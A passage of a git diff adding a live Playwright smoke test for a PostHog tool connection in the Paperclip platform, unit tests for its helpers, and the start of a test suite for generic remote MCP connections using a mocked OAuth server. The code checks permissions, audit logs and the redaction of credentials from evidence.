page.locator(`[data-action-id="${facts.projectGet.id}"] select`); + const projectSettingsPermission = page.locator(`[data-action-id="${facts.projectSettings.id}"] select`); + await expectVisible(projectGetPermission, "C.permissions-ui", "project_get_permission_missing"); + await expectVisible(projectSettingsPermission, "C.permissions-ui", "project_settings_permission_missing"); + if (await projectGetPermission.inputValue() !== "allowed" || await projectSettingsPermission.inputValue() !== "off") { + fail("C.permissions-ui", "permissions_ui_mismatch"); + } + const permissionsShot = "02-scoped-permissions.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, permissionsShot), config, "F.permissions-screenshot"); + summary.screenshots.push(permissionsShot); + + await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/test`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByLabel("Choose which agent to test as"), "D.test-panel", "agent_picker_missing"); + await page.getByLabel("Choose which agent to test as").click(); + await page.getByLabel("Search agents").fill(TARGET_AGENT_NAME); + await page.getByRole("button", { name: new RegExp(`^${escapeRegex(TARGET_AGENT_NAME)}`) }).click(); + await page.getByLabel("Find an action").fill(PROJECT_GET); + const projectGetTitle = facts.projectGet.title ?? facts.projectGet.toolName; + const actionRow = page.locator("button").filter({ hasText: projectGetTitle }).filter({ hasText: "Allowed" }).first(); + await expectVisible(actionRow, "D.test-panel", "project_get_allowed_row_missing"); + await actionRow.click(); + await expectVisible(page.getByText("This action takes no inputs."), "D.test-panel", "empty_input_form_missing"); + + const boardTestStartedAt = Date.now(); + const testCallResponsePromise = page.waitForResponse((response) => + response.request().method() === "POST" + && new URL(response.url()).pathname === `/api/tool-connections/${connectionId}/test-calls`, + ); + await page.getByRole("button", { name: /^run$/i }).click(); + const testCallResponse = await testCallResponsePromise; + if (!testCallResponse.ok()) fail("D.project-get", `http_${testCallResponse.status()}`); + let testCall; + try { + testCall = await testCallResponse.json(); + } catch { + fail("D.project-get", "invalid_json"); + } + let testCallInput; + try { + testCallInput = testCallResponse.request().postDataJSON(); + } catch { + fail("D.project-get", "request_body_unavailable"); + } + if (testCallInput?.agentId !== agent.id + || testCallInput?.toolName !== PROJECT_GET + || !testCallInput.parameters + || typeof testCallInput.parameters !== "object" + || Array.isArray(testCallInput.parameters) + || Object.keys(testCallInput.parameters).length !== 0) { + fail("D.project-get", "nonempty_or_unexpected_input"); + } + if (testCall.decision !== "allowed" || testCall.error || typeof testCall.invocationId !== "string") { + fail("D.project-get", "gateway_call_not_allowed"); + } + const boardProject = extractProjectSummary(testCall.result, config.projectId); + if (!boardProject?.name) fail("D.project-get", "project_result_missing"); + await expectVisible(page.getByText(/^Worked\./), "D.project-get", "success_result_missing"); + const boardShot = "03-board-project-get.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, boardShot), config, "F.board-test-screenshot"); + summary.screenshots.push(boardShot); + summary.boardTest = { + catalogEntryId: facts.projectGet.id, + toolName: PROJECT_GET, + invocationId: testCall.invocationId, + decision: testCall.decision, + httpStatus: testCallResponse.status(), + resultStatus: "succeeded", + project: boardProject, + durationMs: Date.now() - boardTestStartedAt, + }; + + const parentIssueId = process.env.POSTHOG_PROOF_PARENT_ISSUE_ID || process.env.PAPERCLIP_TASK_ID; + if (!parentIssueId) fail("E.create-proof-issue", "parent_issue_id_missing"); + const child = await apiJson( + context.request, + config.baseUrl, + "POST", + `/api/issues/${parentIssueId}/children`, + { + title: `PostHog installed-tool proof ${startedAt.toISOString()}`, + description: [ + "Invoke exactly one installed PostHog action: the read-only upstream `project-get` tool, with an empty `{}` input.", + `Verify the returned project ID is exactly ${config.projectId} and make no PostHog mutations.`, + "Then post exactly one JSON object with keys `projectId`, `projectName`, and `invocationId` (the Paperclip invocation ID), and mark this issue done.", + "Do not report tokens, cookies, authorization data, request headers, raw tool payloads, or any other fields.", + ].join("\n\n"), + status: "todo", + workMode: "standard", + priority: "medium", + assigneeAgentId: agent.id, + acceptanceCriteria: [ + `The installed PostHog project-get action returns project ${config.projectId}.`, + "The comment contains only sanitized project ID/name and Paperclip invocation ID.", + "No mutation is attempted.", + ], + }, + "E.create-proof-issue", + [201], + ); + if (child.status !== "todo") fail("E.create-proof-issue", "child_not_created_todo"); + const observedStatuses = new Set(["todo"]); + const finishedChild = await waitFor("E.fresh-agent-run", async () => { + const issue = await apiJson(context.request, config.baseUrl, "GET", `/api/issues/${child.id}`, undefined, "E.fresh-agent-run"); + observedStatuses.add(issue.status); + if (["blocked", "cancelled"].includes(issue.status)) fail("E.fresh-agent-run", `child_${issue.status}`); + return issue.status === "done" ? issue : null; + }, { + timeoutMs: Number(process.env.POSTHOG_AGENT_TIMEOUT_MS || DEFAULT_AGENT_TIMEOUT_MS), + intervalMs: 3_000, + }); + if (!finishedChild.startedAt || !finishedChild.completedAt) fail("E.fresh-agent-run", "transition_timestamps_missing"); + + const commentsResponse = await apiJson( + context.request, + config.baseUrl, + "GET", + `/api/issues/${child.id}/comments`, + undefined, + "E.agent-proof-comment", + ); + const comments = asArray(commentsResponse, "comments"); + for (const comment of comments) assertNoCredentialMaterial(comment.body, [config.password], "E.agent-proof-comment"); + const agentComments = comments.filter((comment) => + comment.authorAgentId === agent.id || comment.derivedAuthorAgentId === agent.id, + ); + const proofs = agentComments.map((comment) => parseSanitizedAgentProof(comment.body, config.projectId)).filter(Boolean); + if (agentComments.length !== 1 || proofs.length !== 1) { + fail("E.agent-proof-comment", "single_sanitized_proof_missing"); + } + const [proof] = proofs; + + let finalConnectionActivity; + const agentEvent = await waitFor("E.agent-audit", async () => { + const activity = await apiJson( + context.request, + config.baseUrl, + "GET", + `/api/tool-connections/${connectionId}/activity?limit=100`, + undefined, + "E.agent-audit", + ); + assertNoCredentialMaterial(activity, [config.password], "E.agent-audit"); + finalConnectionActivity = activity; + return asArray(activity, "events").find((event) => + event.issueId === child.id + && event.agentId === agent.id + && event.toolName === PROJECT_GET + && event.invocationId === proof.invocationId + && event.outcome === "success", + ) ?? null; + }, { timeoutMs: 60_000, intervalMs: 2_000 }); + if (!agentEvent.runId) fail("E.agent-audit", "run_id_missing"); + if (agentEvent.requestSummary?.summary !== "{}") fail("E.agent-audit", "project_get_input_not_empty"); + const childToolEvents = asArray(finalConnectionActivity, "events").filter((event) => event.issueId === child.id && event.invocationId); + if (childToolEvents.length === 0 || childToolEvents.some((event) => event.toolName !== PROJECT_GET)) { + fail("E.agent-audit", "unexpected_upstream_action"); + } + if (new Set(childToolEvents.map((event) => event.invocationId)).size !== 1) { + fail("E.agent-audit", "project_get_invoked_more_than_once"); + } + if (proof.projectName !== boardProject.name) fail("E.agent-proof-comment", "project_name_mismatch"); + + const agentRun = await waitFor("E.agent-run-status", async () => { + const run = await apiJson( + context.request, + config.baseUrl, + "GET", + `/api/heartbeat-runs/${agentEvent.runId}`, + undefined, + "E.agent-run-status", + ); + if (["failed", "cancelled", "timed_out"].includes(run.status)) fail("E.agent-run-status", `run_${run.status}`); + return run.status === "succeeded" ? run : null; + }, { timeoutMs: 60_000, intervalMs: 2_000 }); + + summary.freshRun = { + issueId: child.id, + issueIdentifier: child.identifier, + transition: { + created: "todo", + enteredInProgress: observedStatuses.has("in_progress") || Boolean(finishedChild.startedAt), + completed: "done", + }, + runId: agentEvent.runId, + runStatus: agentRun.status, + invocationId: proof.invocationId, + project: { id: proof.projectId, name: proof.projectName }, + auditOutcome: agentEvent.outcome, + durationMs: agentEvent.latencyMs, + }; + + await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/issues/${child.identifier}`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByText(child.title, { exact: true }).first(), "F.child-screenshot", "child_issue_missing"); + const childShot = "04-fresh-agent-proof.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, childShot), config, "F.child-screenshot"); + summary.screenshots.push(childShot); + + await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/activity`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByText(PROJECT_GET, { exact: false }).first(), "F.activity-screenshot", "project_get_activity_missing"); + const activityShot = "05-redacted-activity.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, activityShot), config, "F.activity-screenshot"); + summary.screenshots.push(activityShot); + + summary.cleanup = await cleanupConnection(context.request, config, companyId, connectionId, connectionName); + cleanupComplete = true; + summary.passed = true; + } catch (error) { + caughtFailure = error instanceof SmokeFailure ? error : new SmokeFailure("unexpected", "unexpected_error"); + } finally { + if (connectionId && companyId && context && !cleanupComplete) { + try { + summary.cleanup = await cleanupConnection(context.request, config, companyId, connectionId, connectionName); + cleanupComplete = true; + } catch { + summary.cleanup = { completed: false, code: "cleanup_failed" }; + if (!caughtFailure) caughtFailure = new SmokeFailure("F.cleanup", "cleanup_failed"); + } + } + await context?.close().catch(() => {}); + await browser?.close().catch(() => {}); + } + + summary.completedAt = new Date().toISOString(); + if (caughtFailure) { + summary.failure = { checkpoint: caughtFailure.checkpoint, code: caughtFailure.code }; + } + assertSanitizedEvidence(summary); + const summaryPath = path.join(outputDirectory, "summary.json"); + await writeFile(summaryPath, `${JSON.stringify(summary, null, 2)}\n`, { mode: 0o600 }); + + if (caughtFailure) throw caughtFailure; + return { outputDirectory, summaryPath, screenshots: summary.screenshots }; +} + +async function main() { + let prepared; + try { + const options = parsePosthogLiveArguments(process.argv.slice(2)); + prepared = await preparePosthogLiveSmoke({ + baseUrl: options.baseUrl, + loadBrowser: () => import("@playwright/test"), + }); + } catch (error) { + process.stderr.write(`${preflightFailureMessage(error)}\n`); + process.exitCode = error instanceof PosthogLivePreflightError ? 2 : 1; + return; + } + + try { + const result = await runSmoke({ config: prepared.config, chromium: prepared.browserModule.chromium }); + process.stdout.write(`PostHog live smoke passed. Sanitized evidence: ${result.outputDirectory}\n`); + } catch (error) { + const failure = error instanceof SmokeFailure ? error : new SmokeFailure("unexpected", "unexpected_error"); + process.stderr.write(`PostHog live smoke failed at ${failure.checkpoint} (${failure.code}).\n`); + process.exitCode = 1; + } +} + +await main(); diff --git a/scripts/smoke/posthog-live.test.mjs b/scripts/smoke/posthog-live.test.mjs new file mode 100644 index 0000000000..5bdff16100 --- /dev/null +++ b/scripts/smoke/posthog-live.test.mjs @@ -0,0 +1,161 @@ +import assert from "node:assert/strict"; +import test from "node:test"; +import { + assertSanitizedEvidence, + extractProjectSummary, + parsePosthogLiveArguments, + parseSanitizedAgentProof, + PosthogLivePreflightError, + preflightPosthogLive, + preparePosthogLiveSmoke, +} from "./posthog-live-lib.mjs"; + +const COMPLETE_ENV = { + PAPERCLIP_API_URL: "https://paperclip.example.test/api", + INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL: "operator@example.test", + INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD: "not-a-real-password", + INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID: "483530", +}; + +test("preflight reports only missing binding names", () => { + assert.throws( + () => preflightPosthogLive({ + PAPERCLIP_API_URL: "https://paperclip.example.test/api", + INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD: "present", + }), + (error) => { + assert.ok(error instanceof PosthogLivePreflightError); + assert.equal(error.code, "missing_environment"); + assert.deepEqual(error.details.missing, [ + "INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL", + "INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID", + ]); + assert.doesNotMatch(error.message, /present/); + return true; + }, + ); +}); + +test("preflight rejects credential-bearing and non-HTTPS remote URLs", () => { + for (const baseUrl of [ + "https://user:secret@example.test", + "https://example.test/?code=secret", + "http://example.test", + ]) { + assert.throws( + () => preflightPosthogLive({ ...COMPLETE_ENV, PAPERCLIP_API_URL: baseUrl }), + (error) => error instanceof PosthogLivePreflightError && error.code === "unsafe_base_url", + ); + } + assert.equal( + preflightPosthogLive(COMPLETE_ENV, { baseUrl: "http://127.0.0.1:3100" }).baseUrl, + "http://127.0.0.1:3100", + ); +}); + +test("preflight derives the current Paperclip origin and accepts an explicit target", () => { + assert.equal(preflightPosthogLive(COMPLETE_ENV).baseUrl, "https://paperclip.example.test"); + assert.equal( + preflightPosthogLive(COMPLETE_ENV, { baseUrl: "https://other-paperclip.example.test" }).baseUrl, + "https://other-paperclip.example.test", + ); + assert.throws( + () => preflightPosthogLive({ ...COMPLETE_ENV, PAPERCLIP_API_URL: "" }), + (error) => error instanceof PosthogLivePreflightError && error.code === "missing_base_url", + ); +}); + +test("preflight fails closed unless the PostHog project is exactly 483530", () => { + assert.throws( + () => preflightPosthogLive({ + ...COMPLETE_ENV, + INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID: "42", + }), + (error) => error instanceof PosthogLivePreflightError && error.code === "unexpected_project_id", + ); +}); + +test("live smoke arguments accept a target URL without another environment binding", () => { + assert.deepEqual(parsePosthogLiveArguments([]), {}); + assert.deepEqual( + parsePosthogLiveArguments(["https://paperclip.example.test"]), + { baseUrl: "https://paperclip.example.test" }, + ); + assert.deepEqual( + parsePosthogLiveArguments(["--base-url", "https://paperclip.example.test"]), + { baseUrl: "https://paperclip.example.test" }, + ); + assert.throws( + () => parsePosthogLiveArguments(["--unknown"]), + (error) => error instanceof PosthogLivePreflightError && error.code === "invalid_arguments", + ); +}); + +test("browser loading happens only after binding and health preflight", async () => { + let fetchCalled = false; + let browserLoaded = false; + await assert.rejects( + preparePosthogLiveSmoke({ + environment: {}, + fetchImpl: async () => { + fetchCalled = true; + }, + loadBrowser: async () => { + browserLoaded = true; + }, + }), + (error) => error instanceof PosthogLivePreflightError && error.code === "missing_environment", + ); + assert.equal(fetchCalled, false); + assert.equal(browserLoaded, false); + + await assert.rejects( + preparePosthogLiveSmoke({ + environment: COMPLETE_ENV, + fetchImpl: async () => ({ ok: false, status: 503 }), + loadBrowser: async () => { + browserLoaded = true; + }, + }), + (error) => error instanceof PosthogLivePreflightError && error.code === "health_http_error", + ); + assert.equal(browserLoaded, false); +}); + +test("project proof extraction retains only the expected id and name", () => { + const result = { + data: { + content: [{ type: "text", text: JSON.stringify({ id: 483530, name: "Paperclip", token: "discard-me" }) }], + }, + }; + assert.deepEqual(extractProjectSummary(result, "483530"), { id: "483530", name: "Paperclip" }); + assert.equal(extractProjectSummary(result, "42"), null); + + assert.deepEqual( + parseSanitizedAgentProof( + '{"projectId":"483530","projectName":"Paperclip","invocationId":"inv-123"}', + "483530", + ), + { projectId: "483530", projectName: "Paperclip", invocationId: "inv-123" }, + ); + assert.equal( + parseSanitizedAgentProof( + 'Done: {"projectId":"483530","projectName":"Paperclip","invocationId":"inv-123"}', + "483530", + ), + null, + ); + assert.equal( + parseSanitizedAgentProof( + '{"projectId":"483530","projectName":"Paperclip","invocationId":"inv-123","token":"unsafe"}', + "483530", + ), + null, + ); +}); + +test("sanitized evidence rejects credential fields and OAuth query values", () => { + assert.doesNotThrow(() => assertSanitizedEvidence({ projectId: "483530", invocationId: "inv-123" })); + assert.throws(() => assertSanitizedEvidence({ accessToken: "secret" }), /unsafe_evidence_key/); + assert.throws(() => assertSanitizedEvidence({ note: "callback?code=secret" }), /unsafe_evidence_text/); +}); diff --git a/server/src/__tests__/generic-mcp-connection.test.ts b/server/src/__tests__/generic-mcp-connection.test.ts new file mode 100644 index 0000000000..0724649775 --- /dev/null +++ b/server/src/__tests__/generic-mcp-connection.test.ts @@ -0,0 +1,1557 @@ +import { randomUUID } from "node:crypto"; +import { Writable } from "node:stream"; +import express from "express"; +import pino from "pino"; +import request from "supertest"; +import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; +import { + activityLog, + agents, + authUsers, + companies, + companyMemberships, + companySecretBindings, + companySecrets, + companySecretVersions, + createDb, + issueThreadInteractions, + issues, + principalPermissionGrants, + secretAccessEvents, + toolAccessAuditEvents, + toolApplications, + toolCatalogEntries, + toolConnectionInstalls, + toolConnections, + toolOauthStates, + toolProfileBindings, + toolProfileEntries, + toolProfiles, + toolRuntimeSlots, +} from "@paperclipai/db"; +import { eq } from "drizzle-orm"; +import { MCP_CONFIG_HELP_PROMPT } from "@paperclipai/shared"; +import { + getEmbeddedPostgresTestSupport, + startEmbeddedPostgresTestDatabase, +} from "./helpers/embedded-postgres.js"; +import { toolAccessService } from "../services/tool-access.js"; +import { toolAccessPolicyService } from "../services/tool-access-policy.js"; +import { toolAccessRoutes } from "../routes/tool-access.js"; +import { errorHandler } from "../middleware/index.js"; +import { createHttpLogger } from "../middleware/logger.js"; +import { HTTP_LOG_REDACT_PATHS } from "../middleware/http-log-redaction.js"; + +const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport(); +const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip; + +/** + * PAP-17087 — a connection to an unknown remote MCP server must get the same + * treatment as a curated one, so these tests deliberately never name a gallery + * app. Every endpoint below is served by the in-process fixture, so the whole + * generic path (discovery → registration → authorization → catalog → review) is + * deterministic and needs no network or vendor credentials. + */ + +const PUBLIC_BASE_URL = "https://paperclip.fixture.test"; +const REDIRECT_URI = `${PUBLIC_BASE_URL}/api/tools/oauth/callback`; +const CLIENT_METADATA_DOCUMENT_URL = `${PUBLIC_BASE_URL}/api/tools/oauth/client-metadata`; + +const MCP_ORIGIN = "https://mcp.fixture.test"; +const MCP_URL = `${MCP_ORIGIN}/mcp`; +/** A pathful issuer, so RFC 8414 well-known insertion is actually exercised. */ +const ISSUER = `${MCP_ORIGIN}/tenant/acme`; + +const FIXTURE_TOOLS = [ + { name: "list_insights", description: "List insights", annotations: { readOnlyHint: true } }, + { name: "create_insight", description: "Create an insight", annotations: { readOnlyHint: false } }, +]; + +type FixtureOptions = { + /** How the MCP endpoint authenticates. */ + auth?: "public" | "oauth" | "header"; + /** For `auth: "header"`, the header the endpoint requires and its value. */ + requiredHeader?: { name: string; value: string }; + /** Advertise Client ID Metadata Document support on the authorization server. */ + cimd?: boolean; + /** Advertise a dynamic client registration endpoint. */ + dcr?: boolean; + /** Serve authorization-server metadata under the RFC 8414 insertion path only. */ + wellKnownStyle?: "rfc8414" | "oidc-suffix"; + /** + * Advertise this exact string as `authorization_endpoint` (PAP-17099). The + * value is whatever a hostile server wants — it is never a trusted URL. + */ + authorizationEndpoint?: string; + /** Advertise this exact string as `token_endpoint` (PAP-17099). */ + tokenEndpoint?: string; + /** Value the token endpoint returns as the issuer, for `iss` tests. */ + tools?: unknown[]; + /** + * Fail the token endpoint with this exact body (PAP-17108). The body is + * whatever a hostile authorization server wants to say, so tests use it to + * prove none of it reaches the operator. + */ + tokenFailure?: { status: number; body: Record }; + /** Fail the dynamic client registration endpoint with this exact body. */ + registrationFailure?: { status: number; body: Record }; + /** Extra provider-owned callbacks returned alongside the requested callback. */ + registrationExtraRedirectUris?: string[]; +}; + +type FixtureRequest = { + method: string; + url: string; + headers: Record; + body: URLSearchParams | Record | null; +}; + +function jsonResponse(payload: unknown, status = 200): Response { + const body = JSON.stringify(payload); + return { + ok: status >= 200 && status < 300, + status, + headers: { + get: (name: string) => (name.toLowerCase() === "content-type" ? "application/json" : null), + }, + text: async () => body, + json: async () => payload, + } as unknown as Response; +} + +function unauthorizedMcpResponse(resourceMetadataUrl: string): Response { + return { + ok: false, + status: 401, + headers: { + get: (name: string) => + name.toLowerCase() === "www-authenticate" + ? `Bearer resource_metadata="${resourceMetadataUrl}"` + : null, + }, + text: async () => "", + json: async () => ({}), + } as unknown as Response; +} + +function headerRecord(init: RequestInit | undefined): Record { + const raw = init?.headers; + if (!raw) return {}; + if (raw instanceof Headers) return Object.fromEntries(raw.entries()); + if (Array.isArray(raw)) return Object.fromEntries(raw as Array<[string, string]>); + return Object.fromEntries( + Object.entries(raw as Record).map(([key, value]) => [key.toLowerCase(), value]), + ); +} + +/** + * A single fetch implementation standing in for an MCP server plus its + * authorization server. Returns the request log so tests can assert on the exact + * protocol parameters Paperclip sent (RFC 8707 `resource`, DCR metadata, PKCE). + */ +function installMcpOAuthFixture(options: FixtureOptions = {}) { + const auth = options.auth ?? "public"; + const requests: FixtureRequest[] = []; + const issuedCodes = new Map(); + let accessToken: string | null = null; + const tools = options.tools ?? FIXTURE_TOOLS; + const resourceMetadataUrl = `${MCP_ORIGIN}/.well-known/oauth-protected-resource/mcp`; + + const authorizationServerMetadata = () => ({ + issuer: ISSUER, + authorization_endpoint: options.authorizationEndpoint ?? `${ISSUER}/authorize`, + token_endpoint: options.tokenEndpoint ?? `${ISSUER}/token`, + ...(options.dcr === false ? {} : { registration_endpoint: `${ISSUER}/register` }), + ...(options.cimd ? { client_id_metadata_document_supported: true } : {}), + code_challenge_methods_supported: ["S256"], + token_endpoint_auth_methods_supported: ["none"], + scopes_supported: ["mcp:read", "mcp:write"], + }); + + const fetchMock = vi.spyOn(globalThis, "fetch").mockImplementation(async (url, init) => { + const href = String(url); + const method = (init?.method ?? "GET").toUpperCase(); + const headers = headerRecord(init); + const bodyText = typeof init?.body === "string" ? init.body : init?.body?.toString?.() ?? null; + const parsedBody = bodyText + ? headers["content-type"]?.includes("json") + ? (JSON.parse(bodyText) as Record) + : new URLSearchParams(bodyText) + : null; + requests.push({ method, url: href, headers, body: parsedBody }); + + if (href === MCP_URL && method === "POST") { + if (auth === "oauth" && headers.authorization !== `Bearer ${accessToken}`) { + return unauthorizedMcpResponse(resourceMetadataUrl); + } + if (auth === "header" && options.requiredHeader) { + const supplied = headers[options.requiredHeader.name.toLowerCase()]; + if (supplied !== options.requiredHeader.value) return unauthorizedMcpResponse(resourceMetadataUrl); + } + return jsonResponse({ jsonrpc: "2.0", id: "paperclip-catalog-refresh", result: { tools } }); + } + + if (href === resourceMetadataUrl) { + return jsonResponse({ resource: MCP_URL, authorization_servers: [ISSUER] }); + } + + // RFC 8414 inserts the well-known segment before the issuer path; OIDC + // Discovery appends it. The fixture serves whichever style the test asked + // for so both discovery orders are covered. + const rfc8414Url = `${MCP_ORIGIN}/.well-known/oauth-authorization-server/tenant/acme`; + const oidcSuffixUrl = `${ISSUER}/.well-known/oauth-authorization-server`; + const servedMetadataUrl = options.wellKnownStyle === "oidc-suffix" ? oidcSuffixUrl : rfc8414Url; + if (href === servedMetadataUrl) return jsonResponse(authorizationServerMetadata()); + + if (href === `${ISSUER}/register` && method === "POST") { + if (options.registrationFailure) { + return jsonResponse(options.registrationFailure.body, options.registrationFailure.status); + } + if (options.dcr === false) return jsonResponse({ error: "not_supported" }, 404); + const requested = parsedBody as Record; + return jsonResponse({ + client_id: "fixture-dcr-client", + // A conforming server echoes back what it registered, and Paperclip + // requires its own callback even when the provider adds a routing URI. + redirect_uris: [ + ...(requested.redirect_uris as string[]), + ...(options.registrationExtraRedirectUris ?? []), + ], + grant_types: requested.grant_types, + response_types: requested.response_types, + token_endpoint_auth_method: requested.token_endpoint_auth_method, + application_type: requested.application_type, + }); + } + + if (href === `${ISSUER}/token` && method === "POST") { + if (options.tokenFailure) return jsonResponse(options.tokenFailure.body, options.tokenFailure.status); + const body = parsedBody as URLSearchParams; + const grantType = body.get("grant_type"); + if (grantType === "authorization_code") { + const issued = issuedCodes.get(body.get("code") ?? ""); + if (!issued) return jsonResponse({ error: "invalid_grant" }, 400); + } + accessToken = `fixture-access-${randomUUID()}`; + return jsonResponse({ + access_token: accessToken, + refresh_token: "fixture-refresh", + expires_in: 3600, + token_type: "Bearer", + scope: "mcp:read", + }); + } + + // 404 rather than throw: discovery legitimately probes several well-known + // paths, and a real server answers the ones it does not serve with a 404. + return jsonResponse({ error: "not_found" }, 404); + }); + + return { + fetchMock, + requests, + /** Pretend the operator approved the consent screen and got a code back. */ + issueAuthorizationCode(authorizationUrl: string) { + const parsed = new URL(authorizationUrl); + const code = `fixture-code-${randomUUID()}`; + issuedCodes.set(code, { + codeChallenge: parsed.searchParams.get("code_challenge") ?? "", + resource: parsed.searchParams.get("resource"), + }); + return code; + }, + requestsTo(pathSuffix: string) { + return requests.filter((entry) => entry.url.endsWith(pathSuffix)); + }, + }; +} + +async function createCompany(db: ReturnType) { + return db + .insert(companies) + .values({ + name: `Generic MCP ${randomUUID()}`, + issuePrefix: `GM${randomUUID().slice(0, 6).toUpperCase()}`, + }) + .returning() + .then((rows) => rows[0]!); +} + +function createRouteApp( + db: ReturnType, + deployment?: { + deploymentMode: "authenticated" | "local_trusted"; + deploymentExposure: "public" | "private"; + }, + requestLogger?: express.RequestHandler, +) { + const app = express(); + app.use(express.json()); + if (requestLogger) app.use(requestLogger); + app.use((req, _res, next) => { + req.actor = { + type: "board", + userId: "board-user", + userName: "Board User", + userEmail: null, + isInstanceAdmin: true, + source: "local_implicit", + }; + next(); + }); + app.use("/api", toolAccessRoutes(db, { ...deployment })); + app.use(errorHandler); + return app; +} + +describeEmbeddedPostgres("generic remote MCP connections", () => { + let db!: ReturnType; + let tempDb: Awaited> | null = null; + + beforeAll(async () => { + tempDb = await startEmbeddedPostgresTestDatabase("paperclip-generic-mcp-"); + db = createDb(tempDb.connectionString); + }, 20_000); + + afterEach(async () => { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); + await db.delete(toolOauthStates); + await db.delete(secretAccessEvents); + await db.delete(companySecretBindings); + await db.delete(companySecretVersions); + await db.delete(companySecrets); + await db.delete(activityLog); + await db.delete(toolAccessAuditEvents); + await db.delete(toolRuntimeSlots); + await db.delete(toolConnectionInstalls); + await db.delete(toolProfileBindings); + await db.delete(toolProfileEntries); + await db.delete(toolProfiles); + await db.delete(toolCatalogEntries); + await db.delete(toolConnections); + await db.delete(toolApplications); + await db.delete(issueThreadInteractions); + await db.delete(issues); + await db.delete(principalPermissionGrants); + await db.delete(companyMemberships); + await db.delete(agents); + await db.delete(companies); + await db.delete(authUsers); + }); + + afterAll(async () => { + await tempDb?.cleanup(); + }); + + it("discovers every tool for a public unknown endpoint without activating the draft", async () => { + installMcpOAuthFixture({ auth: "public" }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const result = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture MCP" }); + + expect(result.auth ?? null).toBeNull(); + expect(result.actions.readOnly.map((action) => action.toolName)).toEqual(["list_insights"]); + expect(result.actions.canMakeChanges.map((action) => action.toolName)).toEqual(["create_insight"]); + expect(result.suggestedDefaults).toMatchObject({ askFirstRiskLevels: ["write", "destructive"] }); + + const [connection] = await db.select().from(toolConnections).where(eq(toolConnections.id, result.connectionId)); + expect(connection).toMatchObject({ transport: "mcp_remote", authKind: "none", status: "draft" }); + expect(connection!.config).toMatchObject({ quarantineNewEntries: false, unverifiedServer: true }); + // No curated definition was consulted: nothing recorded a template key, so + // this connection cannot be depending on gallery metadata for anything. + expect(connection!.config).not.toHaveProperty("sourceTemplateKey"); + expect(connection!.config).not.toHaveProperty("connectionMethodKey"); + const profiles = await db.select().from(toolProfiles).where(eq( + toolProfiles.profileKey, + `app:${result.connectionId}`, + )); + expect(profiles).toEqual([]); + }); + + it("emits DNS guidance for a real NXDOMAIN failure", async () => { + const company = await createCompany(db); + const app = createRouteApp(db, { + deploymentMode: "local_trusted", + deploymentExposure: "private", + }); + + const response = await request(app) + .post(`/api/companies/${company.id}/tools/apps/connect`) + .send({ link: "https://qa-nonexistent.invalid/mcp", name: "Missing DNS fixture" }); + + // Public-mode preflight returns 400; local-mode platform fetch reports the + // same failure from the health check as 502. The machine code is the stable + // UI contract across both paths. + expect([400, 502]).toContain(response.status); + expect(response.body).toMatchObject({ + details: { code: "remote_http_dns_failed" }, + }); + expect(response.body.error).not.toBe("fetch failed"); + await expect(db.select().from(toolApplications)).resolves.toHaveLength(0); + }); + + it("emits a stable code when an application name is already used", async () => { + const company = await createCompany(db); + await db.insert(toolApplications).values({ + companyId: company.id, + applicationKey: `existing:${randomUUID()}`, + name: "Taken fixture name", + type: "mcp_http", + status: "active", + metadata: {}, + }); + const app = createRouteApp(db, { + deploymentMode: "local_trusted", + deploymentExposure: "private", + }); + + const response = await request(app) + .post(`/api/companies/${company.id}/tools/apps/connect`) + .send({ link: "http://127.0.0.1:8848/mcp", name: "Taken fixture name" }) + .expect(409); + + expect(response.body).toMatchObject({ + details: { code: "tool_access_name_conflict" }, + }); + }); + + it("emits deployment guidance without exposing server env-var names", async () => { + vi.stubEnv("PAPERCLIP_PUBLIC_URL", ""); + vi.stubEnv("PAPERCLIP_AUTH_PUBLIC_BASE_URL", ""); + vi.stubEnv("BETTER_AUTH_URL", ""); + vi.stubEnv("BETTER_AUTH_BASE_URL", ""); + const app = createRouteApp(db, { + deploymentMode: "local_trusted", + deploymentExposure: "private", + }); + + const response = await request(app) + .get("/api/tools/oauth/client-metadata") + .expect(422); + + expect(response.body).toMatchObject({ + details: { code: "oauth_redirect_origin_unsupported" }, + }); + expect(JSON.stringify(response.body)).not.toContain("PAPERCLIP_PUBLIC_URL"); + }); + + it("stores a bearer key as a secret and never reads it back", async () => { + installMcpOAuthFixture({ + auth: "header", + requiredHeader: { name: "Authorization", value: "Bearer fixture-key-123" }, + }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const result = await service.connectGalleryApp(company.id, { + link: MCP_URL, + name: "Fixture bearer", + authMode: "bearer", + credentialValues: { "credentials.authorization": "fixture-key-123" }, + }); + + expect(result.catalog).toHaveLength(2); + const [connection] = await db.select().from(toolConnections).where(eq(toolConnections.id, result.connectionId)); + expect(connection!.authKind).toBe("api_key"); + expect(JSON.stringify(connection!.config)).not.toContain("fixture-key-123"); + expect(JSON.stringify(connection!.credentialRefs)).not.toContain("fixture-key-123"); + expect(JSON.stringify(result.connection)).not.toContain("fixture-key-123"); + expect(connection!.credentialSecretRefs.map((ref) => ref.configPath)).toEqual(["credentials.authorization"]); + }); + + it("stores custom header values as secrets and shows only header names", async () => { + installMcpOAuthFixture({ + auth: "header", + requiredHeader: { name: 